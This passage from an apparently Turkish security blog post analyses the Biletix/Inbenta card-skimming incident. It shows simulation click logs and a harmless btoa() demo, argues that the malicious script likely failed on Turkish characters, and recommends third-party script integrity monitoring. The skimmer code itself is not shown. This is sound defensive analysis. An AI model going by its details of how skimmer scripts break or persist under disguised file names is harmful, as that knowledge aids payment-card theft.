MV23571:38 472 click MV23571:38 473 click MV23571:38 474 click MV23571:38 475 click MV23571:38 476 click MV23571:38 477 click MV23571:38 478 click MV23571:38 479 click MV23571:38 480 click MV23571:38 481 click MV23571:38 482 click MV23571:38 483 click MV23571:38 484 click MV23571:38 485 click MV23571:38 486 click MV23571:38 487 click MV23571:38 488 click MV23571:38 489 click MV23571:38 490 click MV23571:38 491 click MV23571:38 492 click MV23571:38 493 click MV23571:38 494 click MV23571:38 495 click MV23571:38 496 click MV23571:38 497 click MV23571:38 498 click MV23571:38 499 click MV23571:38 500 click MV23571:38
```

An embedded page on this page says
InvalidCharacterError: Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.

Click the button to encode a string in base-64.
Try it
Note: The btoa() method is not supported in IE9 and earlier.

```
<!DOCTYPE html>
<html>
<body>

<p>Click the button to encode a string in base-64.</p>

<button onclick="myFunction()">Try it</button>

<p><strong>Note:</strong> The btoa() method is not supported in IE9 and earlier.</p>

<p id="demo"></p>

<script>
function myFunction() {
  var str = "Satin Al";

  try {
    var enc = window.btoa(str);
  } catch(e) {
    alert (e);
  }

  var res = "Encoded String: " + enc;
  document.getElementById("demo").innerHTML = "The original string: " + str + "<br>" + res;
}
</script>

</body>
</html>
```

Sonuç itibariyle, Inbenta firmasını hackleyenlerin bu zararlı kodu 2017 yılından beri akismet.js gibi farklı isimler altında da kullandığını görüyoruz. Biletix vakasına baktığımızda ise şayet zararlı kod tespit edildikten sonra Biletix Türkiye tarafından zararlı adresin sayfalardan kaldırılması dışında ödeme sayfasında bu kodun çalışmamasına yönelik özel bir çalışma, yazılım değişikliği yapılmadıysa, yazıya konu olan donelerden ve simülasyondan yola çıkarak Biletix Türkiye müşterilerinin kredi kartı bilgilerinin zararlı javascript kodu tarafından bu hata sebebiyle, belirtilen tarih aralığında çalınmamış olduğunu büyük bir mutlulukla varsayabiliriz. :)

Inbenta örneğinde olduğu gibi, 3. parti firmalar üzerinden gelebilecek siber saldırılardan korunmanın kesin bir yöntemi olamasa da, web sitenize 3. parti siteler üzerinden eklediğiniz javascript dosyalarının içeriğinin değişip değişmediğini kontrol eden ve şüpheli değişikliklerde sizi anında haberdar eden NormShield, Sucuri gibi güvenlik çözümlerinden de faydalanabilirsiniz.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.